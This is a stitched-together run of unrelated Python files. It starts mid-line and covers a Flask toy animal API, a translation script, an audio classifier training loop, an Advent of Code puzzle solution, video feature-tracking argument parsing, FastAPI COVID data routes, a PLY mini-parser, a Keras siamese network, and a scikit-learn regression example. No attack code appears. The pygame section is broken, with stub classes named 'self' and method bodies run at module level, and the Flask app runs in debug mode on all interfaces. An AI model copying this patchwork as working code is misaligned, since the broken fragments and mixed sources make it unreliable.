        print('Iteration %06d Total ssimL is %f.' % (iteration, total_ssimL/nscene))


import json
import petname
import random
from flask import Flask, request

app = Flask(__name__)

# test
@app.route('/helloworld', methods=['GET'])
def hello_world():
	return "Hello world\n"

@app.route('/countAnimals', methods=['GET'])
def get_animals_count():
	animal_data = get_data()
	return str(len(animal_data['animals'])) + '\n'

@app.route('/specificAnimals', methods=['GET'])
def get_specific():
	head = request.args.get('head')
	body = request.args.get('body')
	arms = request.args.get('arms')
	legs = request.args.get('legs')
	tails = request.args.get('tails')

	result = get_specific_animals(head, body, arms, legs, tails)

	return json.dumps(result['animals'], indent = 2)

@app.route('/animals', methods=['GET'])
def get_animals():
	return json.dumps(get_data(), indent = 2)

@app.route('/buildAnimal/random', methods=['GET'])
def create_animal():
	animal = {}
	animal['animals'] = []
	head = {
		0: 'snake',
		1: 'bull',
		2: 'lion',
		3: 'raven',
		4: 'bunny'
	}
	arms = random.randrange(2, 11, 2)
	legs = random.randrange(3, 13, 3)
	animal['animals'].append({
		'head': head[random.randint(0, 4)],
		'body': petname.name() + "-" + petname.name(),
		'arms': arms,
		'legs': legs,
		'tails': arms + legs
	})

	return json.dumps(animal['animals'][0], indent = 2) + '\n'

@app.route('/buildAnimal', methods=['GET'])
def create_specific_animal():
	animal = {}
	animal['animals'] = []
	animal['animals'].append({
		'head': request.args.get('head'),
		'body': request.args.get('body'),
		'arms': int(request.args.get('arms')),
		'legs': int(request.args.get('legs')),
		'tails': int(request.args.get('tails'))
	})

	return json.dumps(animal['animals'][0], indent = 2) + '\n'

def get_data():
	with open("animals.json", 'r') as json_file:
		userdata = json.load(json_file)
	return userdata

def get_specific_animals(head, body, arms, legs, tails):
	animal_data = get_data()
	result = {}
	result['animals'] = []

	if head is not None:
		for i in range(len(animal_data['animals'])):
			if str(animal_data['animals'][i]['head']) == str(head):
				result['animals'].append(animal_data['animals'][i])

	if body is not None:
		for i in reversed(range(len(result['animals']))):
			if str(result['animals'][i]['body']) != str(body):
				del result['animals'][i]

	if arms is not None:
		for i in reversed(range(len(result['animals']))):
			if str(result['animals'][i]['arms']) != str(arms):
				del result['animals'][i]

	if legs is not None:
		for i in reversed(range(len(result['animals']))):
			if str(result['animals'][i]['legs']) != str(legs):
				del result['animals'][i]

	if tails is not None:
		for i in reversed(range(len(result['animals']))):
			if str(result['animals'][i]['tails']) != str(tails):
				del result['animals'][i]

	return result

if __name__ == '__main__':
	app.run(debug=True, host='0.0.0.0')


from os import linesep
import googletrans

translator = googletrans.Translator()

read_file_path = r'9.영어로된 문서를 한글로 자동 번역\english.txt'

with open(read_file_path, 'r') as f:
    readLines = f.readlines()

for lines in readLines:
    result1 = translator.translate(lines, dest='ko', src='auto')
    print(result1.text)

9.영어로된 문서를 한글로 자동 번역/main9-3.py


import os
import json
import tqdm
import pickle as pkl
import numpy as np
import pandas as pd
import torch
import utils as ut
from train_utils import *
from definitions.datasets import BinaryDataset
import torch.utils.data as data
from torch.utils.tensorboard import SummaryWriter
from sklearn.metrics import average_precision_score

####### GLOBALS

meta_args = {
    'seed': 1,
    'log_dir': 'logs/binary_classifier',
    'experiment_name': 'binary_classifier_test',
    'num_workers': 8,
    'n_updates': 1000,
    'n_splits': 10,
    'n_mini_epochs': 200
}

data_args = {
    'TRAIN_PERIOD': 5,
    'TEST_PERIOD': 5,
    'add_gaussian_noise': True,
    'add_pink_noise': False,
    'add_gaussian_snr': False,
    'add_gain': True,
    'pitch_shift': False,
    'mixup_proba': .5,
    'background_dir': '',
    'secondary_labels_weight': 1
}

train_args = {
    'train_batch_size': 8,
    'val_batch_size': 16,
    'grad_accumulation': 1,
    'lr': 0.00002,
    'scheduler': 'ReduceLROnPlateau',
    'label_smoothing': False,
    'posweight': 1.
}

model_args = {
    'sample_rate': 32000,
    'window_size': 800,
    'n_fft': 1024,
    'hop_size': 320,
    'mel_bins': 128,
    'fmin': 10.,
    'fmax': None,

    'model_class': 'CNN',
    'checkpoint_path': ''
}

args = pd.Series(meta_args | data_args | train_args | model_args)

# model_config for CNN

model_config = {
    "length": 1,
    "pool_type": "max",
    "normalization": None,
    "spect_backend": "",

    "sr": args.sample_rate,
    "n_fft": args.n_fft,
    "win_length": args.window_size,
    "hopsize": args.hop_size,
    "n_mels": args.mel_bins,
    "fmin": args.fmin,
    "fmax": args.fmax,
    "freqm": 0,
    "timem": 0,

    "backbone": "tf_efficientnet_b0_ns",
    "out_dim": 1,
    "embedding_size": 0,
    "pretrained": True,

    'checkpoint_path': args.checkpoint_path,
    'random_rescale': False
}

######

def validate(model: nn.Module, criterion: nn.Module, loader: torch.utils.data.DataLoader,
             device: torch.device) -> tuple:
    '''
    Runs model through loader, then computes average validation loss,
    validation average precision and the f1 score for different thresholds.
    :params:
        :model: pytorch model to use for performing inference
        :criterion: loss criterion to use
        :loader: dataloader containing the validation set
        :device: device on which to perform the computations
    '''
    model.eval()
    with torch.no_grad():
        scores = []
        y_true = []
        thresholds = np.linspace(0.1, 0.6, 11)
        loss = 0.
        for i, (X, y) in enumerate(tqdm.tqdm(loader)):
            X = X.to(device)
            y = y.to(device)
            logits = model(X)
            loss += criterion(logits.squeeze(1), y)
            y = y.detach().cpu().numpy()
            y_true.append(y)
            logits = logits.detach().cpu()
            scores.append(logits.numpy())

    y_true = np.concatenate(y_true, axis=0)
    scores = torch.tensor(np.concatenate(scores, axis=0))
    scores = torch.where(torch.isnan(scores),
                             torch.zeros_like(scores),
                             scores)
    scores = torch.where(torch.isinf(scores),
                            torch.zeros_like(scores),
                            scores)
    scores = scores.numpy()

    val_ap = average_precision_score(y_true, scores)
    val_loss = loss / len(loader)

    return thresholds, val_loss, val_ap

def perform_mini_epoch(model, criterion, loader, optimizer, scheduler, grad_accumulation, epoch):
    # mini epochs are not full epochs but only X updates
    model.train()
    update = 1
    losses = 0.
    progress_bar = tqdm.tqdm(total=args.n_updates, desc="updates")

    while update <= args.n_updates:
        X, y = next(loader)
        X, y = X.to(device), y.to(device)

        logits = model(X)
        loss = criterion(logits.squeeze(), y)
        loss.backward(retain_graph=False, create_graph=False)

        ## logging
        if update % 50 == 0:
            writer.add_scalar("Train Loss", loss, (epoch-1)*args.n_updates + update)

        if (update % grad_accumulation == 0) or (update == args.n_updates):
            optimizer.step()
            optimizer.zero_grad()
            if args.scheduler == 'OneCycleLR':
                scheduler.step()

        losses += loss
        update += 1
        progress_bar.update()

    progress_bar.close()
    return losses / args.n_updates

def train():
    print("="*30 + "\nStarting to train the model!\n" + "="*30)
    train_data, val_data = ut.get_binary_data(n_splits=args.n_splits)
    background_files = ut.get_background_files(args.background_dir)
    trainset = BinaryDataset(train_data, background_files, args.add_gaussian_noise,
                           args.add_gaussian_snr, args.add_gain, args.pitch_shift, args.add_pink_noise,
                           args.TRAIN_PERIOD, train = True, secondary_labels_weight = args.secondary_labels_weight)
    valset = BinaryDataset(val_data, False, False, False, False, False, False, args.TEST_PERIOD, train = False, secondary_labels_weight = 1)
    train_loader = data.DataLoader(trainset,
                             batch_size=args.train_batch_size,
                             shuffle=False,
                             num_workers=args.num_workers,
                             pin_memory=True,
                             drop_last=True)
    test_loader = data.DataLoader(valset,
                             batch_size=args.val_batch_size,
                             shuffle=False,
                             num_workers=args.num_workers,
                             pin_memory=True,
                             drop_last=False)

    grad_accumulation = args.grad_accumulation
    checkpoint, model = ut.get_model(model_class = args.model_class, model_config = model_config,
                                     device = device, checkpoint_path = model_config.pop("checkpoint_path"))
    optimizer = torch.optim.AdamW(model.parameters(), lr = args.lr, weight_decay=1e-4)
    # optimizer = torch.optim.Adam(model.parameters(), lr = args.lr)
    criterion = BirdLoss(reduction = "mean", pos_weight = args.posweight)
    if args.scheduler == 'ReduceLROnPlateau':
        scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer)#, factor = .1, patience=5, threshold=5e-4)
    elif args.scheduler == 'OneCycleLR':
        steps_per_epoch = (args.n_updates // grad_accumulation) + 1
        scheduler = torch.optim.lr_scheduler.OneCycleLR(optimizer, pct_start=0.1, div_factor=1e3, max_lr=1e-4,
                                                        epochs=args.n_mini_epochs, steps_per_epoch=steps_per_epoch)
    if checkpoint is not None:
        ut.set_seed(args.seed+57) #### change random seed here so that the random augmentations change, but validation set stays the same
        optimizer.load_state_dict(checkpoint["optimizer"])
        scheduler.load_state_dict(checkpoint["scheduler"])

    best_loss = float("inf")
    start_epoch = 0 if checkpoint is None else checkpoint["epoch"]
    train_loader = iter(train_loader) # iterator so that we keep memory when training on mini batches

    for epoch in range(start_epoch + 1, start_epoch + args.n_mini_epochs + 2):
        # start the training
        print(f"MINI EPOCH: {epoch}")
        train_loss = perform_mini_epoch(model, criterion, train_loader, optimizer, scheduler, grad_accumulation, epoch)
        thresholds, val_loss, val_ap = validate(model, criterion, test_loader, device)
        writer.add_scalar("Validation Loss", val_loss, epoch)
        writer.add_scalar("Validation AP", val_ap, epoch)

        if val_loss < best_loss:
            # save best weights
            ut.save_checkpoint(model, optimizer, scheduler, epoch, thresholds, [], val_loss, args.logs_dir)
            best_loss = val_loss
        if args.scheduler == 'ReduceLROnPlateau':
            scheduler.step(val_loss)

        writer.add_scalar("Learning Rate", get_lr(scheduler), epoch)
        # write results in logs file
        results = f"\nMINI EPOCH: {epoch}\n Avg Validation Loss: {val_loss}\n \
                    \n Validation AP: {val_ap}\n Avg Train Loss: {train_loss}\n"
        with open(logs_file, 'a+') as f:
            f.write(results)
        print(results)

    print("="*30 + f"\nDone training!\n" + "="*30)

if __name__ == '__main__':

    os.makedirs(args.log_dir, exist_ok=True)
    logs_dir = os.path.join(args.log_dir, args.experiment_name)
    logs_file = os.path.join(logs_dir, "log.txt")
    args["logs_dir"] = logs_dir
    args["logs_file"] = logs_file

    writer = SummaryWriter(logs_dir)

    with open(os.path.join(logs_dir, 'args.txt'), 'w') as f:
        json.dump(args.to_dict(), f, indent=2)
    with open(os.path.join(logs_dir, 'args.pkl'), 'wb') as f:
        pkl.dump(args.to_dict(), f)
    with open(os.path.join(logs_dir, 'model_config.txt'), 'w') as f:
        json.dump(model_config, f, indent=2)
    with open(os.path.join(logs_dir, 'model_config.pkl'), 'wb') as f:
        pkl.dump(model_config, f)

    ut.set_seed(args.seed)
    device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
    train()


import collections

data = collections.deque(list(open("./input.csv").read()))
dirs = {">": +1, "<": -1}

stack = {(x+0j) for x in range(1,8)}

# Note that the 4th rock is the first element in the list due to modulo operator
rocks = [{(3+0j), (4+0j), (5+0j), (6+0j)},
    {(4+0j), (3+1j), (4+1j), (5+1j), (4+2j)},
    {(3+0j), (4+0j), (5+0j), (5+1j), (5+2j)},
    {(3+0j), (3+1j), (3+2j), (3+3j)},
    {(3+0j), (3+1j), (4+0j), (4+1j)}]

part2 = True
m = 5 * len(data) # Modulous

if part2 == False:
    n = len(data)
    rock_i = 0
    dir_i = 0
    max_height = 0j
    while rock_i != 2022: # New rock
        rock_i += 1
        rock = {pos+max_height+4j for pos in rocks[(rock_i % 5)-1 if rock_i % 5 != 0 else 4]}
        while True: # New direction of jet
            dir_i += 1
            dir = data[(dir_i % n)-1 if dir_i % n != 0 else n-1]

            # Jet push
            rock_moved = {pos+dirs[dir] for pos in rock}
            if (0 not in [int(pos.real) for pos in rock_moved]) and (8 not in [int(pos.real) for pos in rock_moved]) and not (rock_moved & stack):
                rock = rock_moved

            # Gravity drop
            rock_moved = {pos-1j for pos in rock}
            if rock_moved & stack:
                stack |= rock
                max_height = complex(0, max(pos.imag for pos in stack))
                break
            rock = rock_moved

    print(max_height)
else:
    n = len(data)
    rock_i = 0
    dir_i = 0
    max_height = 0j
    seen = []
    while True: # New rock
        rock_i += 1
        rock = {pos+max_height+4j for pos in rocks[(rock_i % 5)-1 if rock_i % 5 != 0 else 4]}
        while True: # New direction of jet
            dir_i += 1
            dir = data[(dir_i % n)-1 if dir_i % n != 0 else n-1]

            # Jet push
            rock_moved = {pos+dirs[dir] for pos in rock}
            if (0 not in [int(pos.real) for pos in rock_moved]) and (8 not in [int(pos.real) for pos in rock_moved]) and not (rock_moved & stack):
                rock = rock_moved

            # Gravity drop
            rock_moved = {pos-1j for pos in rock}
            if rock_moved & stack:
                stack |= rock
                max_height = complex(0, max(pos.imag for pos in stack))
                break
            rock = rock_moved

        top_stack = frozenset({pos-(max_height-50) for pos in stack if pos.imag > max_height.imag-50})
        new = (top_stack, (rock_i % 5)-1 if rock_i % 5 != 0 else 4, (dir_i % n)-1 if dir_i % n != 0 else n-1)

        if new not in seen:
            seen.append(new)
        else:
            repeat = len(seen)-seen.index(new) # Cycle repeating length. (Every 35 rocks)
            start = seen.index(new) + 1 # The i-th rock where the pattern first appears
            print((start, repeat, max_height))
            break
    # TEST INPUT: For top stack of depth 50 - Cycle starts at 47th rock (height 76), repeats every 35 rocks which adds (129-76)=53 height. (1000000000000-47)%35 = 3. 3 extra rocks add 2 height (max_height(47+3)-max_height(47))
    print(((1000000000000-47)//35)*53 + 76 + (78-76))

    # ACTUAL INPUT: For top stack of depth 50 - Cycle starts at 102th rock (height 154), repeats every 1745 rocks which adds (2892-154)=2738 height. (1000000000000-102)%1745 = 908. 908 extra rocks add 2 heights (max_height(102+908)-max_height(102))
    print(((1000000000000-102)//1745)*2738 + 154 + (1567-154))


import argparse
from argparse import ArgumentParser
from featuretrack.trackers.algorithms import lucas_kanade, siftbf, kalman

def add_gft_sift_detectors_subparsers(parser: ArgumentParser):
  subparsers = parser.add_subparsers(help='Feature extraction algorithm')

  gft_parser = subparsers.add_parser(
    'gft', help='Extract feature points according to the Good Features To Track algorithm',
    description='',
    epilog=''
  )
  gft_parser.set_defaults(features='gft')
  gft_parser.add_argument('-p', '--points', default=100, type=int,
                          help='Maximum number of corners to extract [default: 100]')
  gft_parser.add_argument('-q', '--quality', default=0.2, type=float,
                          help='Minimum accepted quality ratio with respect to the highest quality corner [default: 0.2]')
  gft_parser.add_argument('-d', '--distance', default=10, type=int,
                          help='Minimum euclidian distance between corners [default: 10]')
  gft_parser.add_argument('-s', '--size', default=3, type=int,
                          help='Block size around pixels for computing features [default: 3]')

  sift_parser = subparsers.add_parser(
    'sift', help='Extract feature points according to the Scale-Invariant Feature Transform algorithm',
    description='',
    epilog=''
  )
  sift_parser.set_defaults(features='sift')
  sift_parser.add_argument('-p', '--points', default=100, type=int, help='Number of keypoints to extract [default: 100]')

def add_lucas_kanade_subparser(subparsers):
  lk_parser = subparsers.add_parser(
    'lk', help='Lucas-Kanade tracking algorithm',
    description='Lucas-Kanade tracking, working with feature points extracted by the specified algorithm',
    epilog='')
  lk_parser.set_defaults(func=lucas_kanade)
  lk_parser.add_argument('-i', '--interval', default=60, type=int,
                         help='Interval of frames in which feature points are tracked before being recomputed [default: 60]')
  add_gft_sift_detectors_subparsers(lk_parser)
  return lk_parser

def add_siftbf_subparser(subparsers):
  siftbf_parser = subparsers.add_parser(
    'siftbf', help='Brute force tracking based on L2-distance between SIFT point descriptors',
    description='Feature points are periodically computed by the Scale-Invariant Feature Transform algorithm and at each frame they are tracked by matching them with the most similar new points based on L2-distance between original and new SIFT descriptors',
    epilog=''
  )
  siftbf_parser.set_defaults(func=siftbf)
  siftbf_parser.set_defaults(features='sift')
  siftbf_parser.add_argument('-p', '--points', default=100, type=int, help='Number of keypoints to extract [default: 100]')
  siftbf_parser.add_argument('-i', '--interval', default=60, type=int,
                           help='Interval of frames in which feature points are tracked before being recomputed [default: 60]')
  siftbf_parser.add_argument('-t', '--thresh', default=90, type=int,
                           help='Matching quality threshold (distance) [default: 90]')
  siftbf_parser.add_argument('--hidematch', default=False, action='store_true',
                           help='If specified hides reference and current frames with the explicit matching')
  return siftbf_parser

def add_kalman_subparser(subparsers):
  kalman_parser = subparsers.add_parser(
    'kalman', help='Kalman Filter tracking algorithm',
    description='Kalman Filter tracking, working with feature points extracted by the specified algorithm',
    epilog='')
  kalman_parser.set_defaults(func=kalman)
  kalman_parser.add_argument('-i', '--interval', default=60, type=int,
                             help='Interval of frames in which feature points are tracked before being recomputed [default: 60]')
  kalman_parser.add_argument('-c', '--correct', default=1, type=int,
                             help='Number of frames after which ground truth information is used to update the prediction of the Kalman Filter [default: 1]')
  kalman_parser.add_argument('-a', '--avgacc', default=False, action='store_true',
                             help='If specified, use the average accelerations of the previous feature points when recomputing the feature points, otherwise set the accelerations of the new feature points to zero')
  add_gft_sift_detectors_subparsers(kalman_parser)
  return kalman_parser

def prepare_parser():
  parser = argparse.ArgumentParser(description='Track features using different tracking algorithms combined with different feature detectors',
                                   prog='python -m featuretrack')
  parser.add_argument('-v', '--video', type=str, required=True,
                      help='Path to the video on which to perform tracking')
  parser.add_argument('-d', '--delay', default=1, type=int,
                      help='Delay (ms) in between frames (influences video preview framerate) [default: 1 (minimum possible delay)]')
  parser.add_argument('-s','--scale', nargs=2, default=[1,1], type=float, metavar=('H_SCALE', 'W_SCALE'),
                      help='Scaling factors to be applyed respectively to the height and the width of the video [default: 1 1]')
  parser.add_argument('-o','--output', type=str,
                      help='Output file name: the video will be saved as \'./results/OUTPUT.avi\'')
  parser.add_argument('-f', '--framerate', default=30, type=int, help='Output video framerate [default: 30]')
  parser.add_argument('-r', '--radious', default=3, type=int,
                         help='Radious of circles used to show the location of feature points [default: 3]')
  parser.add_argument('-t', '--thickness', default=2, type=int,
                         help='Thickness of the circle borders [default: 2]')
  subparsers = parser.add_subparsers(help='Tracking algorithm')

  add_siftbf_subparser(subparsers)

  add_lucas_kanade_subparser(subparsers)

  add_kalman_subparser(subparsers)

  return parser


"""
FILE: router_api_v2.py
DESCRIPTION: all routes for API v2
AUTHOR: Nuttaphat Arunoprayoch
DATE: 04-April-2020
"""
from functools import wraps
from datetime import datetime
from typing import Dict, Any
from fastapi import HTTPException, BackgroundTasks
from starlette.requests import Request

from . import v2
from models.covid_model_api_v2 import CovidAPIv2

# Reload model (APIv2)
def reload_model_api_v2(func):
    """ Reload a model APIv2 for each quest """
    @wraps(func)
    def wrapper(*args, **kwargs):
        global covid_api_v2
        covid_api_v2 = CovidAPIv2()
        return func(*args, **kwargs)
    return wrapper

# Logging
def write_log(requested_path: str, client_ip: str) -> None:
    file_name = datetime.now().strftime('%d-%b-%Y')
    with open('logs/{}.txt'.format(file_name), mode='a+') as log_file:
        date_time_message = datetime.now().strftime('%d-%b-%Y, %H:%M:%S | ')
        message = date_time_message + requested_path + ' | ' + client_ip + '\n'
        log_file.write(message)
    return None

@v2.get('/current')
@reload_model_api_v2
def get_current(request: Request, background_tasks: BackgroundTasks) -> Dict[str, Any]:
    try:
        background_tasks.add_task(write_log, requested_path=str(request.url), client_ip=str(request.client))
        data = covid_api_v2.get_current()

    except Exception as e:
        raise HTTPException(status_code=400, detail=e)

    return data

@v2.get('/total')
@reload_model_api_v2
def get_total(request: Request, background_tasks: BackgroundTasks) -> Dict[str, Any]:
    try:
        background_tasks.add_task(write_log, requested_path=str(request.url), client_ip=str(request.client))
        data = covid_api_v2.get_total()

    except Exception as e:
        raise HTTPException(status_code=400, detail=e)

    return data

@v2.get('/confirmed')
@reload_model_api_v2
def get_confirmed(request: Request, background_tasks: BackgroundTasks) -> Dict[str, int]:
    try:
        background_tasks.add_task(write_log, requested_path=str(request.url), client_ip=str(request.client))
        data = covid_api_v2.get_confirmed()

    except Exception as e:
        raise HTTPException(status_code=400, detail=e)

    return data

@v2.get('/deaths')
@reload_model_api_v2
def get_deaths(request: Request, background_tasks: BackgroundTasks) -> Dict[str, int]:
    try:
        background_tasks.add_task(write_log, requested_path=str(request.url), client_ip=str(request.client))
        data = covid_api_v2.get_deaths()

    except Exception as e:
        raise HTTPException(status_code=400, detail=e)

    return data

@v2.get('/recovered')
@reload_model_api_v2
def get_recovered(request: Request, background_tasks: BackgroundTasks) -> Dict[str, int]:
    try:
        background_tasks.add_task(write_log, requested_path=str(request.url), client_ip=str(request.client))
        data = covid_api_v2.get_recovered()

    except Exception as e:
        raise HTTPException(status_code=400, detail=e)

    return data

@v2.get('/active')
@reload_model_api_v2
def get_active(request: Request, background_tasks: BackgroundTasks) -> Dict[str, int]:
    try:
        background_tasks.add_task(write_log, requested_path=str(request.url), client_ip=str(request.client))
        data = covid_api_v2.get_active()

    except Exception as e:
        raise HTTPException(status_code=400, detail=e)

    return data

@v2.get('/country/{country_name}')
@reload_model_api_v2
def get_country(country_name: str, request: Request, background_tasks: BackgroundTasks) -> Dict[str, Any]:
    """ Search by name or ISO (alpha2) """
    try:
        background_tasks.add_task(write_log, requested_path=str(request.url), client_ip=str(request.client))
        raw_data = covid_api_v2.get_country(country_name.lower())

    except Exception as e:
        raise HTTPException(status_code=404, detail="Item not found")

    return raw_data

@v2.get('/timeseries/{case}')
@reload_model_api_v2
def get_time_series(case: str, request: Request, background_tasks: BackgroundTasks) -> Dict[str, Any]:
    """ Get the time series based on a given case: global, confirmed, deaths, *recovered
        * recovered will be deprecated by the source data soon
    """
    background_tasks.add_task(write_log, requested_path=str(request.url), client_ip=str(request.client))

    if case.lower() not in ['global', 'confirmed', 'deaths', 'recovered']:
            raise HTTPException(status_code=404, detail="Item not found")

    data = covid_api_v2.get_time_series(case.lower())

    return data

@v2.get('/timeseries/US/{case}')
@reload_model_api_v2
def get_US_time_series(case: str, request: Request, background_tasks: BackgroundTasks) -> Dict[str, Any]:
    """ Get the USA time series based on a given case: confirmed, deaths """
    background_tasks.add_task(write_log, requested_path=str(request.url), client_ip=str(request.client))

    if case.lower() not in ['confirmed', 'deaths']:
            raise HTTPException(status_code=404, detail="Item not found")

    data = covid_api_v2.get_US_time_series(case.lower())

    return data


import ply.yacc as yacc
import ply.lex as lex
import sys

keywords = (
    'DIM', 'LET', 'PROGRAM', 'END'
)

tokens = keywords + (
    'EQUALS', 'PLUS', 'MINUS', 'MULT', 'POWER', 'DIV', 'LPAREN', 'RPAREN',
    'LT', 'LE', 'GT', 'GE', 'NE', 'ID', 'FLOAT'
)

t_ignore = r' '

t_EQUALS = r'='
t_PLUS = r'\+'
t_MINUS = r'-'
t_MULT = r'\*'
t_POWER = r'\^'
t_DIV = r'/'
t_LPAREN = r'\('
t_RPAREN = r'\)'
t_LT = r'<'
t_LE = r'<='
t_GT = r'>'
t_GE = r'>='
t_NE = r'<>'

def t_ID(t):
    r'[a-zA-Z_][a-zA-Z0-9_]*'
    if t.value.upper() in keywords:
        t.value = t.value.upper()
        t.type = t.value
    return t

def t_FLOAT(t):
    r'\d+'
    t.value = float(t.value)
    return t

def t_error(t):
    print("ILLEGAL CHARACTER")
    t.lexer.skip(1)

lexer = lex.lex()

precedence = (
    ('left', 'PLUS', 'MINUS'),
    ('left', 'MULT', 'DIV'),
    #('right', 'UMINUS'),
)

def p_S(p):
    '''
    S : PROGRAM program END
    '''

def p_program(p):
    '''
    program : definition
    | command
    | operation
    '''

def p_dim(p):
    '''
    definition : DIM ID
    '''
    print("\tINPUT SUCCESFUL")

def p_let(p):
    '''
    command : LET ID EQUALS FLOAT
    '''
    print("\tINPUT SUCCESFUL")

def p_binaryOp(p):
    '''
    operation : ID PLUS ID
    | ID MINUS ID
    | ID MULT ID
    | ID DIV ID
    | ID POWER ID
    '''

def p_error(p):
    print("\tSYNTAX ERROR")

parser = yacc.yacc()

while True:
    try:
        s = input('')
    except EOFError:
        break
    parser.parse(s)


from keras.models import Model
from keras.layers import Input, Conv2D, Dense, Dropout, GlobalAveragePooling2D, MaxPooling2D

def build_siamese_model(inputShape, embeddingDim=48):
    # embeddingDim: Output dimensionality of the final fully-connected layer in the network.
    inputs = Input(inputShape)

    # define first set of CONV => RELU => POOL => DROPOUT layer
    x = Conv2D(64, (2, 2), padding="same", activation="relu")(inputs)
    x = MaxPooling2D(pool_size=2)(x)
    x = Dropout(0.3)(x)

    # Sencond layer
    x = Conv2D(64, (2, 2), padding="same", activation="relu")(x)
    x = MaxPooling2D(pool_size=2)(x)
    x = Dropout(0.3)(x)

    # prepare final output
    pooledOutput = GlobalAveragePooling2D()(x)
    outputs = Dense(embeddingDim)(pooledOutput)

    # Build Model
    model = Model(inputs, outputs)

    return model


from venv import logger

import pygame

class self:
    pass

class GameEvent:
    pass

class World:
    pass

for event in self.events:
    if event.is_key_down(pygame.K_LEFT, pygame.K_a):
        self.move_left(True)
    elif event.is_key_down(pygame.K_RIGHT, pygame.K_d):
        self.move_right(True)
    elif event.is_key_down(pygame.K_UP, pygame.K_SPACE, pygame.K_w):
        self.jump()
    elif event.is_key_up(pygame.K_LEFT, pygame.K_a):
        self.move_left(False)
    elif event.is_key_up(pygame.K_RIGHT, pygame.K_d):
        self.move_right(False)
    elif event.is_key_down(pygame.K_f):
        self._handle_throw()

def jump(self):
    if self.is_landed:
        self.is_landed = False
        self.dy = -self.jump_vertical_speed

self._handle_get_hit()

def handle_get_hit(self)->None:
    for shadow in self.world.get_entities(EntityType.SHADOW):
        if self.collide(shadow):
            self._take_damage(1)

def take_damage(self, damage: int) -> None:
    if now() - self.last_hit_t > PlayerConfig.INVULNERABLE_DURATION_MS:
        self.last_hit_t = now()
        self.hp -= damage

def _pick_item_near_by(self):
    """
    If Player collides with a collectable entity, remove that entity from World,
    while adding that entity to the self.inventory list.
    """
    for entity in self.world.get_collectable_tiles():
        if self.collide(entity):
            self.world.remove_entity(entity.id)
            self.inventory.append(entity)
            logger.info(f"Player picked up 1 {entity.entity_type}")

def _update_inventory_entity(self):
    """
    This Player entity directly manages a PlayerInventory entity.
    """
    if not self.inventory_entity_id:
        self.inventory_entity_id = self.world.add_entity(EntityType.PLAYER_INVENTORY)
    self.world.get_entity(self.inventory_entity_id).set_inventory(self.inventory)

def _maybe_jump_with_trampoline(self):
    for trampoline in self.world.get_trampolines():
        if self.collide(trampoline) and self.rect.bottom > trampoline.rect.top:
            trampoline.set_action(ActionType.JUMP)
            self.jump_with_trampoline()
        else:
            trampoline.set_action(ActionType.IDLE)

def update(self, events: Sequence[GameEvent], world: World) -> None:
    super().update(events, world)
    self._update_npc_near_by()
    self._pick_item_near_by()
    self._handle_events()
    self._update_screen_offset()
    # highlight this call only
    self._maybe_jump_with_trampoline()
    # Manage the dependent entities.
    self._update_inventory_entity()
    ball = self.world.get_entity(ball_id)

def render(self, screen: pygame.Surface, *args, **kwargs):
    super().render(screen, *args, **kwargs)

    for i in range(0, PlayerConfig.MAX_HP):
        if i < self.hp:
            screen.blit(
                pygame.image.load(PlayerHpConfig.FULL_HEART_PATH),
                (PlayerHpConfig.X + i * PlayerHpConfig.X_STEP, PlayerHpConfig.Y),
            )
        else:
            screen.blit(
            pygame.image.load(PlayerHpConfig.EMPTY_HEART_PATH),
            (PlayerHpConfig.X + i * PlayerHpConfig.X_STEP, PlayerHpConfig.Y),
            )


"""
====================================
Comparing Linear Bayesian Regressors
====================================

This example compares two different bayesian regressors:

 - a :ref:`automatic_relevance_determination`
 - a :ref:`bayesian_ridge_regression`

In the first part, we use an :ref:`ordinary_least_squares` (OLS) model as a
baseline for comparing the models' coefficients with respect to the true
coefficients. Thereafter, we show that the estimation of such models is done by
iteratively maximizing the marginal log-likelihood of the observations.

In the last section we plot predictions and uncertainties for the ARD and the
Bayesian Ridge regressions using a polynomial feature expansion to fit a
non-linear relationship between `X` and `y`.

"""

# Author: Arturo Amor <david-arturo.amor-quiroz@inria.fr>

# %%
# Models robustness to recover the ground truth weights
# =====================================================
#
# Generate synthetic dataset
# --------------------------
#
# We generate a dataset where `X` and `y` are linearly linked: 10 of the
# features of `X` will be used to generate `y`. The other features are not
# useful at predicting `y`. In addition, we generate a dataset where `n_samples
# == n_features`. Such a setting is challenging for an OLS model and leads
# potentially to arbitrary large weights. Having a prior on the weights and a
# penalty alleviates the problem. Finally, gaussian noise is added.

from sklearn.datasets import make_regression

X, y, true_weights = make_regression(
    n_samples=100,
    n_features=100,
    n_informative=10,
    noise=8,
    coef=True,
    random_state=42,
)

# %%
# Fit the regressors
# ------------------
#
# We now fit both Bayesian models and the OLS to later compare the models'
# coefficients.

import pandas as pd

from sklearn.linear_model import ARDRegression, BayesianRidge, LinearRegression

olr = LinearRegression().fit(X, y)
brr = BayesianRidge(compute_score=True, max_iter=30).fit(X, y)
ard = ARDRegression(compute_score=True, max_iter=30).fit(X, y)
df = pd.DataFrame(
    {
        "Weights of true generative process": true_weights,
        "ARDRegression": ard.coef_,
        "BayesianRidge": brr.coef_,
        "LinearRegression": olr.coef_,
    }
)

# %%
# Plot the true and estimated coefficients
# ----------------------------------------
#
# Now we compare the coefficients of each model with the weights of
# the true generative model.
import matplotlib.pyplot as plt
import seaborn as sns
from matplotlib.colors import SymLogNorm

plt.figure(figsize=(10, 6))
ax = sns.heatmap(
    df.T,
    norm=SymLogNorm(linthresh=10e-4, vmin=-80, vmax=80),
    cbar_kws={"label": "coefficients' values"},
    cmap="seismic_r",
)
plt.ylabel("linear model")
plt.xlabel("coefficients")
plt.tight_layout(rect=(0, 0, 1, 0.95))
_ = plt.title("Models' coefficients")

# %%
# Due to the added noise, none of the models recover the true weights. Indeed,
# all models always have more than 10 non-zero coefficients. Compared to the OLS
# estimator, the coefficients using a Bayesian Ridge regression are slightly
# shifted toward zero, which stabilises them. The ARD regression provides a
# sparser solution: some of the non-informative coefficients are set exactly to
# zero, while shifting others closer to zero. Some non-informative coefficients
# are still present and retain large values.

# %%
# Plot the marginal log-likelihood
# --------------------------------
import numpy as np

ard_scores = -np.array(ard.scores_)
brr_scores = -np.array(brr.scores_)
plt.plot(ard_scores, color="navy", label="ARD")
plt.plot(brr_scores, color="red", label="BayesianRidge")
plt.ylabel("Log-likelihood")
plt.xlabel("Iterations")
plt.xlim(1, 30)
plt.legend()
_ = plt.title("Models log-likelihood")

# %%
# Indeed, both models minimize the log-likelihood up to an arbitrary cutoff
# defined by the `max_iter` parameter.
#
